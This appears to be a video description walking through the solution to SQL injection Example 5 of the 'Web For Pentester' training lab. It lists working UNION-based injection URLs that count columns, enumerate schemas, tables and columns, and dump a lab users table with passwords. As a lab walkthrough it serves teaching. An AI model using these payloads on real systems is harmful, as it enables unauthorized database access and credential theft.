Web For Pentester SQL Injection Example 5 Solution скачать в хорошем качестве

Web For Pentester SQL Injection Example 5 Solution

Web For Pentester SQL Injection Example 5 Solution Exploiting an SQL Inject attack involves solving a puzzle that is a cross ... The SQL Injection attack allows external users to read details from the database. Searches related to sql injection attack Fix Query : http://192.168.174.132/sqli/example5.php?id=2 %23 Find columns : http://192.168.174.132/sqli/example5.php?id=2 order by 5 %23 there are 5 columns. Find Vulnerable column : http://192.168.174.132/sqli/example5.php?id=2 union select 1,2,3,4,5 %23 1,2,3 is reflecting. Let's Enumrate Database Name : http://192.168.174.132/sqli/example5.php?id=2 union select (SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),2,3,4,5 %23 Database name : exercises Find Tables : http://192.168.174.132/sqli/example5.php?id=2 union select (SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x657865726369736573),2,3,4,5 %23 Table Name : users Find Columns : http://192.168.174.132/sqli/example5.php?id=2 union select (SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x7573657273),2,3,4,5 %23 Columns Name : id name age groupid passwd Extract Data : http://192.168.174.132/sqli/example5.php?id=2 union select (SELECT+GROUP_CONCAT(0x22494422,id,0x224e616d6522,name,0x2241676522,age,0x2247494422,groupid,0x2250617373776f726422,passwd+SEPARATOR+0x3c62723e)+FROM+exercises.users),2,3,4,5 %23 Extracted Data : "ID"1"Name"admin"Age"10"GID"10"Password"admin "ID"2"Name"root"Age"30"GID"0"Password"admin21 "ID"3"Name"user1"Age"5"GID"2"Password"secret "ID"5"Name"user2"Age"2"GID"5"Password"azerty THAT'S IT FOR THIS VIDEO. IF YOU LIKE THIS VIDEO. PLEASE DON'T FORGET TO LIKE SHARE AND SUBSCRIBE OUR CHANNEL. THANKS FOR WATCHING.